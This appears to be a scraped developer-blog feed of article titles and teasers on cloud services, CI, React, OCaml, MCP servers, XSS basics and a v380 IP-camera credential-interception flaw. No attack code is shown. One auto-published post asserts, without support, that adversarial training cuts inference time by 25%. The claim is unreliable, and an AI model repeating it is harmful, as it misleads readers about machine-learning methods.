    In Part 1 Workspace automation Ledger (Prompt Evolution Tree + runs) Gemini orchestrator Devlog generator Analytics Workflow atlas All of that was basically: “Here’s the skeleton. Here’s how each bone connects.” In this post, I want to zoom out and talk about how this behaves when it’s not just me using it, but ~200 people, each with their own prompts, workflows, and experiments. Specifically: How the ledger behaves like a soft blockchain How users stay isolated but still learn from each other How Gemini (Jimin) becomes the orchestrator/kernel Why this starts to look suspiciously like an Android-style OS built on Google Workspace From “My Stack” to “200-User MindsEye OS” Part 1 was written from a solo-builder perspective. But the design isn’t actually single-user. It’s intentionally struct…  ( 11 min )
    Turning Whispers into Code: My Experience Building The Whisperbound Tome with Kiro
    kiro When I started building The Whisperbound Tome, I had no idea how much Kiro would transform the way I build software. The project is a mystical, atmospheric grimoire that generates deterministic spells based on user whispers—sigils, rituals, incantations, everything. 🔮 1. Spec-Driven Development Became My Superpower I wrote a full specification with tone rules, deterministic pipelines, and generation constraints. 🌀 2. Steering Allowed Me to Preserve the Tome’s Tone The grimoire requires a strict mystical atmosphere. no modern words soft, archaic language tone consistency pacing with silence markers Kiro respected it every time. 🛠️ 3. MCP Let Me Extend Kiro Like a Ritual Engine I added: a tone-check hook deterministic seed utilities spell-generation commands multi-file creation workflows MCP made the project feel modular and alive. ✨ 4. The Result: A Breathing Grimoire With Kiro, I built: deterministic spell generation sigil ASCII art ritual sequences poetic incantations a mystical, animated UI a breathing grimoire effect It went from a concept to a fully interactive magical experience. ❤️ Final Thoughts Kiro didn’t just make coding faster—it made it fun, creative, and collaborative. If you're building something ambitious, weird, or magical… Kiro is the perfect companion.  ( 6 min )
    7 Prompts to Make Google's AI Your Marketing Superpower
    Are you tired of your AI assistant giving you ad copy that sounds like a robot wrote a book report? It’s a familiar scene: the generic, soulless text that’s technically correct but emotionally vacant, destined to be scrolled past without a second thought. We've been handed a tool of immense power, yet we often use it like a glorified thesaurus. Here lies the craft. Each prompt is not merely a command, but a carefully constructed framework for thinking, designed to force the AI beyond generic platitudes and into strategic thinking. The Prompt: "Act as a Google Ads specialist for my brand, [Brand Name], which sells [Product/Service]. Generate a comprehensive list of short-tail and long-tail keywords for our [Specific Product, e.g., 'eco-friendly reusable water bottles']. Focus on keywords wi…  ( 9 min )
    A starters guide from SQS and some learning along the way
    In this guide, we will go through the basics of what SQS is and why it’s important for you to start using it. Is a service from AWS which is queue where messages wait their turn to be processed. As a fun fact, SQS was the first Serverless Service launched by AWS in 2006 SQS allows you to improve the resilence and retryability of your system. Let's imagine that you've the following scenario: Your API exposes a POST /create-order endpoint, and it’s connected directly to a Lambda function called 'CreateOrder'. If your system receives a lot of traffic, your CreateOrder Lambda may start throttling, which means some orders could be lost. In order to avoid this, we can put an SQS in the middle. Having the SQS in the middle ensures that requests are not lost. The queu will hold each request u…  ( 7 min )
    The Pragmatic Programmer: Lessons That Still Matter
    NOTE: I'd love to do better formatting. But for some reason I can't do line breaks in-between list items. For over two decades, The Pragmatic Programmer has influenced how developers think about their craft, responsibility, and long-term software quality. The 20th Anniversary Edition gives the classic a modern polish while keeping its core philosophy intact. After reading it, I've decided to put down some of the core lessons, and how I've interpreted them. Care About Your Craft If you're going to write software, aim to write it well. Quality isn't a luxury; it's the compound interest of good habits. Don't Live with Broken Windows Small flaws invite bigger ones. Fix issues as soon as you see them. Sloppy logic, poor naming, outdated comments, or brittle tests. Invest in Your Knowledge …  ( 7 min )
    sorted() function is used to sort the elements in a Tuple
    sorted() function is used to sort the elements in a tuple, e.g. in ascending order of increasing values for integers or floats, or alphabetical order for strings. Day 69 [November 14, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 68 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Tuples: Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Setting up CI and automated testing
    In my repository Repo-snapshot I set Continuous Integration (CI) workflow with GitHub Actions by creating two folders: .github/, workflows/, and a file named ci.yml ## Structure repo-snapshot/ ├── .github/ │ └── workflows/ │ └── ci.yml ├── src/ │ ├── cli.ts │ ├── file-collector.ts │ ├── file-utils.ts │ ├── git-info.ts │ ├── index.ts │ ├── output-builder.ts │ ├── toml-config.ts │ └── tree-structure.ts └── tests/ ├── file-utils.test.ts ├── index.test.ts └── output-builder.test.ts The workflow configuration looks like this: name: CI on: push: branches: - main pull_request: branches: - main jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Setup pnpm uses: pnpm/action-setup@…  ( 7 min )
    The Shipyard MCP Server: Manage environments with AI agents
    We’re excited to announce the beta release of our MCP server. Now you can loop your agents into environment management, and give them access/context to run tests, tail environment logs, start/stop environments, and debug remote issues. The MCP server is an extension of the Shipyard CLI, so if you're already set up auth, you won't need to add your token again. (Skip this step if you already have the Shipyard CLI installed) brew tap shipyard/tap brew install shipyard With API token and org name: claude mcp add shipyard --env SHIPYARD_API_TOKEN=your-token-here --env SHIPYARD_ORG=your-org-name -- shipyard mcp serve If already configured with CLI: claude mcp add shipyard -- shipyard mcp serve Edit ~/.codex/config.toml and add: [mcp_servers.shipyard] command = "shipyard" args = ["mcp", "serve"] env = { "SHIPYARD_API_TOKEN" = "your-token-here", "SHIPYARD_ORG" = "your-org-name" } (Contact us at support@shipyard.build if you need API access). Our users have been using the MCP server to add more capabilities to their agent dev loops: Writing and improving E2E tests: your agent will use your codebase, the Shipyard MCP, and the Playwright MCP to study your app and improve existing tests Sandboxes for rapid prototyping: generate code with your agent and instantly see that in a live env, then pull logs to iterate/improve features Live code reviews: use the Shipyard MCP to get an env link, then use Playwright MCP to gather info about the feature, cross reference with the codebase If you're a dev building with agents, we highly encourage you to try it out today. It's 100% open source, so feel free to fork it, open a PR, or use it to help you build your own MCP server. (Sign up for a 30-day free Shipyard trial if you haven’t yet). We're curious to hear how you’re using it to build and test faster. Write us at hello@shipyard.build to share your thoughts. Any and all feedback is super valuable for us during the beta.  ( 7 min )
    Day 11 Django Learning
    Django Learning Journey - Day 11 Today I'm sick. No code written. 10 days straight of showing up, learning, building. So I'm listening. Tomorrow, I'll tackle that edit functionality with fresh energy. Sometimes the most productive thing one can do is rest. django #learninginpublic #100dasyofcode #webdev #python  ( 6 min )
    Lab 8- OSD 600
    For this lab, I set up GitHub Actions in my ContextWeaver repo by creating a workflow file that runs pytest every time I push to main or open a pull request, and it was actually helpful because I could see right away when I broke something in scanner.py and when it got fixed. After that, I created a new branch and added more tests to my own project, then opened a PR to make sure CI was working properly. For the partner part, I used rust-cli-tool repo, which was totally different from mine since it uses Rust and cargo test instead of Python and pytest. Writing a test in someone else’s project felt weird at first, but once I made a simple sanity test it was fine and it passed with their CI too. Overall, setting up CI made me realize how useful it is because it catches mistakes right away, and it really does stop you from accidentally pushing broken code. The main CI setup and testing across repos went smoothly and now I understand why teams rely on this so much.  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    Sean, Amanda and Van Lathan roast this fall’s underwhelming movie lineup before breaking down Edgar Wright’s ‘The Running Man’—a gloriously messy action spectacle powered by Glen Powell’s charm. Then, they dive into ‘Now You See Me: Now You Don’t,’ praising Rosamund Pike’s evil diamond heiress and guessing how this magic legacy sequel might fare at the box office. Edgar Wright swings by in the final segment to chat about the evolving studio scene, reveal how he crafts his epic action set-pieces and tell the wild story of how Powell landed the lead. It’s a fun mix of insider insight, playful banter and unabashed film geekery. Watch on YouTube  ( 6 min )
    React 19: A Comprehensive Technical Guide with Code Examples
    React 19 is far more than a routine version bump in its ecosystem. It stands out for its efficiency and simplicity for both beginners and experienced developers. ** ** React 19 code: import { useTransition } from 'react'; function UpdateNameForm() { const [isPending, startTransition] = useTransition(); const [name, setName] = useState(''); async function updateName(formData) { const newName = formData.get('name'); // Action automatically handles pending state await fetch('/api/update-name', { method: 'POST', body: JSON.stringify({ name: newName }) }); setName(newName); } return ( {isPending ? 'Updating...' : 'Update Na…  ( 12 min )
    Interoperating Open Table Formats on AWS Using Apache XTable (Delta Iceberg)
    Original Japanese article: Apache XTableを使ったAWS上でのOpen Table Format相互運用(Delta→Iceberg) I'm Aki, an AWS Community Builder (@jitepengin). Lakehouse architectures have become increasingly common in modern data platforms. In many cases, multiple Open Table Format (OTF) are used simultaneously, such as: Delta Lake Apache Iceberg Apache Hudi For example: “Our existing lakehouse uses Delta Lake, but the new project wants to adopt Iceberg…” When this happens, interoperability between OTF becomes a key challenge. For instance, Microsoft Fabric provides partial Delta ⇔ Iceberg sync via the Iceberg Shortcut feature. This is where Apache XTable has been gaining attention. Apache XTable is an open-source project designed to provide seamless interoperability between the following OTF: https://xtable.apa…  ( 8 min )
    Self-Propelled Missiles: How To Find and Work with High Achievers
    Some call them "Self-propelled missiles" this often refers to individuals who are driven, focused, and capable of achieving their goals independently with little to no external supervision. They are proactive problem-solvers, highly motivated, and thrive in environments where they can take ownership of their tasks. These individuals align themselves with the mission and have a clear sense of purpose, making them invaluable assets in any team or organization. Characteristics of Self-Propelled Missiles: Intrinsic Motivation: They are driven by internal goals, curiosity, or a passion for excellence rather than external rewards. Proactivity: They anticipate challenges, seek opportunities, and take initiative without waiting for instructions. Accountability: They own their successes and failure…  ( 15 min )
    [Boost]
    GroupBy no JavaScript: a forma fácil de indexar e organizar dados Angela Caldas ・ Nov 14 #data #javascript #tutorial  ( 6 min )
    The Two Lists That Define Every Software Project
    If you’ve ever been near a software developer, you’ve probably heard a frustrated groan followed by the classic phrase: "But it worked on my machine!" This, and a million other frustrations like File Not Found or Symbol Not Found, often boil down to one of the most misunderstood parts of software engineering. It’s not a bug in the code, but a problem with the lists. The problem is that a computer is not a mind reader. It’s an incredibly fast, precise, and literal-minded robot. To get it to build your software, you have to give it two separate things: a Recipe and a Shopping List. And the central conflict of all software development is that the robot never reads the Recipe to figure out the Shopping List. Imagine you have a robot chef. Its job is to bake a cake. The Recipe: This is your sou…  ( 8 min )
    My DevOps Journey: Day 14 - AWS Storage and Global Distribution: The Missing Pieces Every Cloud Engineer Must Master
    Introduction In Day 13, I explored how Amazon S3 changed the way I think about storage - versioning, lifecycle policies, encryption, and automation taught me that data durability is the backbone of cloud systems. But as my sandbox grew into a multi-instance setup, I faced a new reality: S3 alone cannot solve all storage needs. Some data must live with compute. Some must be shared across servers. Some must be queried. Some must be protected. And some must be delivered globally with low latency. This realization pushed me into a deeper AWS chapter: EBS, EFS, FSx, RDS, DynamoDB, Route 53, and CloudFront. Each one filled a gap I didn't even know existed - until the day I faced a real problem. Let me take you through that journey. One day, I rebooted my EC2 instance… and my application f…  ( 8 min )
    Automating .NET Localization: From Code Scan to Auto-Translate to Pull Request
    A cross-platform CLI/TUI for managing .resx files with free AI translation, code scanning, and CI/CD automation You've built a great .NET application. Now you need to support multiple languages. You create your first .resx file, add some keys, and everything works beautifully in English. Then the requests come in: "Can we support French? German? Greek?" You create Resources.fr.resx, copy all the keys, send them to a translator, paste the translations back... and your build breaks. An XML tag got corrupted. A key is missing. A duplicate slipped in. You're now manually diff-ing XML files trying to figure out what went wrong. If you're on Linux or macOS, it's even worse. Visual Studio's ResX Resource Manager? Windows-only. Editing XML by hand? Error-prone and painful. You end up writing bash…  ( 20 min )
    GroupBy no JavaScript: a forma fácil de indexar e organizar dados
    Quantas vezes você preciso usar reduce para arrays de objetos? No meu artigo anterior sobre Indexação de dados para aplicações front-end, explorei exatamente isso, mostrando como organizar estruturas complexas usando reduce e até Map. Mas, convenhamos, reduce tende a deixar o código complexo e difícil de entender... Quer uma boa notícia? Desde o lançamento do ECMAScript 2024 temos uma forma muito mais simples, expressiva e legível para fazer isso, utilizando os métodos Object.groupBy e Map.groupBy. Por que agrupar dados? Agrupar dados é uma forma de indexação: você pega uma lista linear e reorganiza tudo usando uma chave. Esse tipo de organização melhora a performance, além de facilitar buscas e o consumo de dados em interfaces dinâmicas. Antes dessas novas APIs, recorrer ao reduce er…  ( 8 min )
    OpenAI's Aardvark: Revolutionizing Secure Software Development with AI Agents
    OpenAI's Aardvark: A New Era in AI-Powered Security Research and Vulnerability Patching OpenAI has recently introduced Aardvark, an AI agent currently in private beta, signaling a significant advancement in the field of secure software development. Aardvark is engineered to conduct comprehensive security research, with a primary focus on the automated detection and patching of vulnerabilities within source code. Unlike conventional security testing methodologies such as fuzzing, Aardvark leverages a sophisticated combination of reasoning-based analysis and tool-assisted techniques to achieve its goals at scale. The multi-step operational process of Aardvark encompasses: Threat Modeling: Identifying potential security risks. Code Change Scanning: Analyzing modifications for introduced vulnerabilities. Exploitability Validation: Determining if a vulnerability can be practically exploited. Patch Proposal: Suggesting automated fixes for detected issues. OpenAI's commitment extends to the broader open-source community. They plan to offer free scanning services for non-commercial open-source projects, aiming to elevate the overall security posture of the ecosystem. The core value proposition of Aardvark is its ability to enhance security without imposing delays on the software development lifecycle, while simultaneously making specialized security expertise more accessible. To further refine its capabilities, OpenAI is actively seeking partners to participate in the current beta phase. This collaborative effort is key to improving detection accuracy and optimizing workflows. Stelixx #StelixxInsights #IdeaToImpact #AI #BuilderCommunity #AISecurity #OpenSource #SoftwareDevelopment #Cybersecurity #TechInnovation #DevOps  ( 6 min )
    Security news weekly round-up - 14th November 2025
    In cybersecurity, there are no days off. It's either you are dealing with or reading about application security, malware, or any type of threats that can affect us (users of the Internet) while we are online. This is one of the biggest reasons why I bring you this review every week; so you know, or at least, have a glimpse of the threats out there. Researchers surprised that with AI, toxicity is harder to fake than intelligence You cannot fake originality. If you doubt that, this article is proof that you should not. What makes us humans is sometimes our imperfections; today we say something that we're proud of and tomorrow, not so much. Currently, it appears that AI has not nailed that. Here is a quick insight from the article: “Even after calibration, LLM outputs remain clearly disting…  ( 19 min )
    Arithmetic Expansion in Bash: The Little Feature That Makes Your Scripts Cleaner
    If you’ve written Bash for any amount of time, you’ve probably bumped into situations where you needed a quick calculation. Maybe it was a loop counter, maybe file-size math, or maybe you were just trying to add two numbers inside a shell script without summoning half the Unix toolchain. Most of us start with expr, and then eventually escape into awk or bc when things get messy. It works… but it always feels heavier than it needs to be. There’s a simpler tool, always sitting inside the shell, always ready: arithmetic expansion. It’s one of those Bash features that quietly improves the quality of your scripts without making a big deal about it. The Core Idea Bash lets you evaluate math directly inside your script using the syntax: $(( expression )) It sounds small, but the convenience an…  ( 8 min )
    Building Logic Apps Locally with VS Code: HTTP, Blob, Queue & More
    This guide walks through creating and running Logic Apps in Visual Studio Code (VS Code) using different triggers such as HTTP, Blob, Queue, and Service Bus. Launch Visual Studio Code. Open the Command Palette (⇧⌘P / Ctrl+Shift+P) and search for: Azure Logic Apps: Create new logic app workspace… Provide a workspace name and select a template for the new Logic App project. Once the workspace is created, locate the workflow folder in the Explorer pane. Right-click workflow.json → Open Designer. The Logic App Designer opens inside VS Code, allowing you to visually build workflows. Screenshots (Combined):  ( 6 min )
    **Breaking the Data Silos in Federated Learning: The Rise of
    Breaking the Data Silos in Federated Learning: The Rise of Adaptive Federated Learning As the adoption of federated learning (FL) continues to grow, one significant challenge that organizations face is the lack of robustness in learning across diverse data distributions. Traditional FL approaches aim to minimize the impact of non-IID (non-Independent and Identically Distributed) data by using techniques such as client sampling or weighted aggregation. However, these methods often lead to suboptimal results, especially in scenarios with limited available data. A novel approach known as Adaptive Federated Learning (AFL) emerges as a potential solution to this issue. AFL integrates concepts from transfer learning and meta-learning to enable the model to adapt to new data distributions without significant degradation in performance. By leveraging a pre-trained model and updating it based on new data, AFL facilitates faster convergence and increased robustness. The key takeaway is that Adaptive Federated Learning (AFL) offers a more effective solution to the data silo problem in federated learning by enabling models to adapt to diverse data distributions, ultimately resulting in better overall performance and reduced overfitting. This innovation opens up new possibilities for collaborative learning on distributed data and marks a significant step forward in addressing the challenges associated with data heterogeneity in federated settings. Publicado automáticamente con IA/ML.  ( 6 min )
    Sending Emails with Rust, Axum, and Resend: A Complete Guide
    In today's web applications, sending emails is a fundamental requirement - from user verification to password resets, notifications, and marketing campaigns. While Rust is known for its performance and safety, sending emails has traditionally been more complex than in other ecosystems. That's where Resend comes in - a modern email API designed for developers that integrates beautifully with Rust applications. In this tutorial, we'll build a complete Axum web server that can send transactional emails using Resend. By the end, you'll have a production-ready email sending service that you can integrate into your Rust applications. Before we dive in, let's understand why Resend is an excellent choice for Rust developers: Simple API: Clean, RESTful API with excellent documentation TypeScript-fi…  ( 12 min )
    What happens when you type console.log()?
    Hey friends! 👋 Two days late! I'm not nailing this adulting as I should fr. I missed our usual Wednesday hangout, but with just reason ofcourse. I won't bore you with the details, so here’s a quick, light tutorial to make it up. We always write: console.log("Hello world!"); …but have you ever wondered what actually happens when that line runs? Let’s break it down in a simple way. What Happens When You Type console.log()? JavaScript doesn’t magically push text onto the screen. A few things happen behind the scenes, fast enough that we don’t notice. Here’s the journey. 1️⃣ Your code gets parsed Before anything runs, the browser checks your code for: valid syntax correct placement of parentheses missing commas stray characters If all is fine, it creates something called the execution co…  ( 7 min )
    Recent research in AI efficiency has led to a groundbreaking
    Recent research in AI efficiency has led to a groundbreaking discovery that highlights the importance of "adversarial training" in optimizing machine learning models. This technique involves deliberately introducing noise or perturbations into the training data to make models more resilient to real-world uncertainties. A key finding from this research is that models trained with adversarial methods can achieve a 25% reduction in inference time while maintaining equivalent accuracy. This is significant because it can translate to substantial cost savings for organizations that rely heavily on AI-driven services. The practical impact of this research is multifaceted. For instance, self-driving cars can better navigate through complex environments with reduced latency, while natural language processing (NLP) systems can improve their response times to user queries. Moreover, the reduced inference time can lead to increased adoption of AI-powered services in resource-constrained environments, such as IoT devices or edge computing applications. In essence, the adversarial training method not only boosts AI efficiency but also enhances the overall robustness of machine learning models. Publicado automáticamente con IA/ML.  ( 6 min )
    🚀 Deploy Your First CI/CD Website in 10 Minutes Using GitHub Actions + Netlify (Complete Beginner's Guide)
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    Recent Breakthrough in Autonomous Underwater Exploration
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    Beyond Page One: Building a Highly Robust SEO Lead Generation Agent with Python and SerpApi🤖
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    In 2023, while researching IoT device security, I discovered a critical vulnerability in one of the world's most popular IP camera brands. v380 cameras are used by millions of people—in apartments, offices, stores, and children's rooms. They're affordable, easy to set up, and work through a convenient mobile app. The problem turned out to be both trivial and frightening: user credentials were transmitted over the network in plain text. Anyone who knew a camera's ID could connect to an unprotected relay server, intercept the owner's login and password, gain full access to the video stream, and even broadcast pre-recorded video instead of the live feed—just like in classic heist movies. This article is a technical breakdown of the vulnerability, detailed analysis of the exploit code, and a s…  ( 21 min )
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    Configuration management is one of those problems that seems simple until you've lived through the chaos of production incidents caused by misconfigured deployments, secrets leaked in Git history, or the dreaded "it works on my machine" syndrome. Over the years, I've seen teams struggle with the same pattern: storing configuration files alongside their application code. While this approach feels intuitive and convenient, it creates more problems than it solves. When configuration files are stored and deployed with your application components, you inherit a host of issues: Security Nightmares: Sensitive data like database credentials, API keys, and service endpoints often end up in config files. Even when teams use .gitignore, secrets have a way of accidentally making it into version contro…  ( 10 min )
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    Text or Pixels? It Takes Half: On the Token Efficiency of Visual Text Inputs inMultimodal LLMs
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    Learning Xahau: Automating Hook Execution with Cron Transactions
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    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    8 Top Resume Builders for 2025
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    extn — A Modern CLI Framework for Building Chrome Extensions (with HMR + Live Preview)
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    How API-First Development is Changing Full-Stack Web Development
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    Custom Select Villa Selection Animated
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    The Bug: How a Missing Database Index Cost Us Real Money
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    Building a Unified Calendar API: Lessons from Aggregating Google Calendar, CalDAV, and Jira
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    Cofounders - Brazil
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    n8n Is Secretly Becoming the #1 Automation Tool
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    How developers can cope with pressure while remaining calm and professional
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    Extending the Nano Banana image generation to also be responsible for fun unique profile images for users who register through a path without providing their own profile pic.
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    Managing Infrastructure and Environments in SDLC
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    Cybersecurity Weekly #8: Securing Remote Collaboration for Freelancers & Virtual Teams in 2025
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    Angular 21 Developer Guide: AI Tools, Signal Forms, ARIA, and Build Optimizations
    Release date: November 20, 2025. Angular 21 isn’t a cosmetic bump—it’s a practical leap: AI‑powered dev tooling, a reimagined forms architecture (Signal Forms), a first‑class ARIA package, and faster, smaller builds. Who is this for? Frontend engineers, Angular teams, and tech leads planning upgrades or greenfield apps who want concrete code and production‑ready patterns. Accessibility with Angular ARIA DX Improvements: HttpClient by Default, NgStyle + New Control Flow Build System & Bundle Optimizations Migration Guide & Upgrade Checklist Reference Snippets FAQ Conclusion AI dev workflow: Angular MCP Server connects your app and tooling to multiple AI providers (Gemini, OpenAI, Anthropic) through a single, secure interface—ideal for SSR and server tools. Signal Forms: a signal‑based fo…  ( 10 min )
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    Smart Pointers in C++: Managing Memory Safely
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    How to Play Subway Surfers on PC: Full 2025 Setup Guide
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    Build Your Own AI-Powered Resume Builder Using Next.js, React 19 & Gemini AI (Full Source Code)
    Modern job seekers expect resume tools to be smart, fast, ATS-friendly, and AI-assisted. So I decided to create a fully packaged, production-ready AI Resume Builder using: Next.js 15 React 19 App Router & Server Components Prisma with PostgreSQL Gemini AI (Text & Vision) for resume parsing ShadCN UI Tailwind CSS Clerk Authentication Full ATS scoring engine PDF/DOCX file processing Multi-template resume generator And now I’ve released the entire codebase as a downloadable, production-ready project: 👉 https://localaimaster.com/products/ai-resume-builder-nextjs 💡 What This Project Includes This isn’t a demo. Here’s what’s inside: ✔ 1. AI-Powered Resume Parsing (PDF & DOCX) Using Gemini Vision, the system can extract: Experience Skills Education Certifications Achievements Suggested improvem…  ( 7 min )
    SAVANT: Semantic Analysis with Vision-Augmented Anomaly deTection
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    Getting Started with the DEV Community: Your Coding Hub
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    Hello MonoGame
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    How Generative AI Empowers Business Leaders in the Digital Era
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    util
    -- util.sql SET SERVEROUTPUT ON SET ECHO OFF SET FEEDBACK OFF WHENEVER SQLERROR EXIT SQL.SQLCODE -- Error checker (silent unless errors exist) CREATE OR REPLACE PROCEDURE CHECK_ERRORS(p_name VARCHAR2, p_type VARCHAR2) AS v_cnt INTEGER; BEGIN SELECT COUNT(*) INTO v_cnt FROM user_errors WHERE name = UPPER(p_name) AND type = UPPER(p_type); IF v_cnt > 0 THEN FOR r IN ( SELECT line, position, text FROM user_errors WHERE name = UPPER(p_name) AND type = UPPER(p_type) ORDER BY sequence ) LOOP DBMS_OUTPUT.PUT_LINE('Line ' || r.line || ': ' || r.text); END LOOP; RAISE_APPLICATION_ERROR(-20001, 'Compilation failed.'); END IF; END; / SHOW ERRORS PROCEDURE CHECK_ERRORS -------------------------------------------------------------------------------- -- FUNCTION example -------------------------------------------------------------------------------- CREATE OR REPLACE FUNCTION HELLO_FN RETURN VARCHAR2 AS BEGIN RETURN 'Hello!'; END; / ALTER FUNCTION HELLO_FN COMPILE; EXEC CHECK_ERRORS('HELLO_FN', 'FUNCTION'); -------------------------------------------------------------------------------- -- PROCEDURE example -------------------------------------------------------------------------------- CREATE OR REPLACE PROCEDURE DO_SOMETHING AS BEGIN DBMS_OUTPUT.PUT_LINE('OK'); END; / ALTER PROCEDURE DO_SOMETHING COMPILE; EXEC CHECK_ERRORS('DO_SOMETHING', 'PROCEDURE');  ( 6 min )
    Tooth to Tail
    A development team consist of people with various roles and responsibilities. Over the cause of my career I have had many different roles ranging from developer, to release manager, scrum master, build engineer, occasional tester and finally product manger/owner. I have been called bottleneck and show-stopper and what I have observed is the difficulty of getting a team to be balanced. At some point I fell over the military term "Tooth to Tail Ratio" and I found it to be interesting in regards to the challenge of balancing a team, so you do not get too many bottlenecks, as for the show-stopper part, I believe it is my personality that sometimes question decisions and that is not always appreciated. The tooth to tail ratio is a military concept that describes the ratio of combat troops (toot…  ( 8 min )
    Sonic-PI
    I recently attended GOTO conference in Copenhagen (https://gotocph.com/2025, you can find the slides for some of the presentations there) and would like to share some of the interesting topics. This was something very new to me to here about. Sonic-PI is the application which is crazy marriage of coding and art which also serves educational purposes. This was created by Sam Aaron. Not only was he talking about the technical details but he also gave a short performance on the stage playing various music by executing the code live... He is very positive person with much energy and by this software he brings the example you can be coding not only for business. I had a chance to talk with him for a while and I very much like and support this idea. I think it is great it's possible to make a step towards art from technical IT world and create something so unusual. For me it is a new angle I can look at the music creation and performance. I said this was the tool for music but it is also actively used for teaching programming. Children want to emit sounds and so they need to learn the syntax - the melody verifies if the code is correct. This is very encouraging for the kids to try new code blocks to achieve new musical results and so they can improve their coding skills fast. You need to try it yourself and especially your children if they want to learn coding and create some nice music at the same time: https://sonic-pi.net Sam is currently also working on another version of the idea to have coding platform for music and visuals using Erlang stack. This is work in progress yet but the results will be very inspiring I am sure.  ( 7 min )
    Integrando IA en aplicaciones .NET: del modelo al despliegue
    Integrando IA en aplicaciones .NET: del modelo al despliegue 🇪🇸 Español La inteligencia artificial (IA) dejó de ser una curiosidad académica: hoy es una herramienta práctica que potencia desde chatbots hasta sistemas empresariales complejos. Si trabajas con .NET, la buena noticia es que no necesitas abandonar tu stack para aprovechar su poder. En este artículo aprenderás cómo integrar modelos de IA —entrenados en Python o directamente con ML.NET— dentro de tus aplicaciones .NET, desde el entrenamiento hasta el despliegue. .NET ha evolucionado. Con soporte nativo para ML.NET, interoperabilidad con Python y compatibilidad con modelos ONNX, se convierte en un entorno ideal para desarrollar, probar y desplegar soluciones inteligentes sin salir de tu ecosistema habitual. Integrac…  ( 8 min )
    Understanding XSS: A Beginner’s Guide for Developers and Pentesters
    Cross-Site Scripting (XSS) is one of the most common security vulnerabilities in web applications. Despite its simplicity, XSS can have serious consequences, allowing attackers to execute malicious scripts in users’ browsers. For developers and pentesters alike, understanding XSS is essential for building secure web applications and identifying vulnerabilities. What is XSS? XSS occurs when an attacker manages to inject malicious code, usually JavaScript, into a web page that other users visit. When the browser executes this code, the attacker can steal cookies, session tokens, or even manipulate the content of the page Stored XSS (Persistent XSS): Reflected XSS (Non-Persistent XSS): DOM-based XSS: How XSS Works? At its core, XSS exploits the trust a browser has in the content served by a website. For example, consider a simple JavaScript snippet: Why Developers Should Care XSS isn’t just an academic problem—it affects real users: Stealing session cookies can allow attackers to impersonate users. Malicious scripts can redirect users to phishing pages. Defaced content can damage your site’s reputation. Understanding XSS helps developers write safer code and empowers pentesters to identify vulnerabilities before attackers do.  ( 6 min )
    ⚙️ Automate Tasks Easily with npm Pre and Post Scripts
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    OCaml in 5 Minutes: From Zero to 'Hello'
    Tired of the OCaml setup rabbit hole? In 5 minutes, you’ll have a fully working OCaml project. Just copy, paste, run. Global Setup Install OCaml Create a New Project Create a new project Create a Switch Configure Git References Start by installing Opam, the OCaml package manager, which is similar to npm in JavaScript. It manages packages and compiler versions. brew install opam sudo apt-get install opam opam init -y eval $(opam env) Consider adding eval $(opam env) command to your .bashrc or .zshrc file to automate this process. Install tools to assist you: opam install ocaml-lsp-server odoc ocamlformat utop ocaml-lsp-server: editor integrations (VS Code, Neovim, etc.) odoc: documentation generator ocamlformat: automatic code formatter utop: improved OCaml REPL Dune is OCaml's def…  ( 8 min )
    Flutter upgrade error
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    deploying a express.js + react web-app on vercel
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    How to Build a Video Streaming App? A Technical Guide for Founders & Developers
    Forget "what to watch." The real question captivating developers and entrepreneurs today is "how to build it?" The video streaming arena is no longer just a playground for tech giants. With global video traffic expected to dominate 82% of all internet traffic, a seismic shift is happening. Niche platforms for fitness, education, and creator-led communities are exploding. But here's the cold stream, a laggy, buffer-prone app is a one-way ticket to obscurity. Building a platform that can deliver seamless, high-quality video isn't just a coding challenge, it's an architectural marathon. This guide breaks down the complex journey of how to build a video streaming app that doesn't just function, but flourishes. Video streaming has evolved from clunky downloads in the early 2000s to seamless, o…  ( 10 min )
    Before You Can Make $150k+, You Must First Challenge the Beliefs Holding You Back
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    Knowledge Graph Extraction in Pydantic
    When building production LLM applications, one of the biggest challenges is ensuring reliable, parseable outputs. While LLMs are powerful, their free-form text generation can be difficult to integrate into structured data pipelines. This is where static typing and structured output extraction become game-changers. In this article, we'll explore how Pydantic's type system bridges the gap between LLM outputs and structured data, and how knowledge graph concepts provide a framework for thinking about entity extraction at scale. Whether you're building document processing pipelines, chatbots, or data extraction workflows, understanding these patterns will help you build more robust LLM applications. The foundation of reliable LLM data extraction is defining clear schemas. Pydantic provides an …  ( 9 min )
    OCaml/Dune Modules & Libraries (Like JS but Better)
    Tired of OCaml setup hell? In 5 minutes, you’ll have: A working project Just copy, paste, and run. Index Use Modules and Libraries Create a Module Create a dune File Register a Library Create an Interface File Add a Dependency Subscribe the Module in your Project Install the Module Add It to the dune File Testing Add Alcotest to your Project Dependencies Install Alcotest Register Alcotest Let's add some modules, interface files, tests, and more! In OCaml the concept of module is similar to the one in Python or JavaScript where every file is considered an independent unit of work with its own namespace. Create a calc.ml file in the lib/ folder and add the following functions: (* lib/calc.ml *) let add x y = x + y let sub x y = x - y In Dune it's not enough to create …  ( 10 min )
    Learning React.....
    It’s been more than 1 month now and I learned so many new things..... While learning i understand how code flow works, how to write cleaner structure, and how to think while building a feature.
    Stop npm i-ing Blind: How I Catch Malicious Packages Before They Hit Production
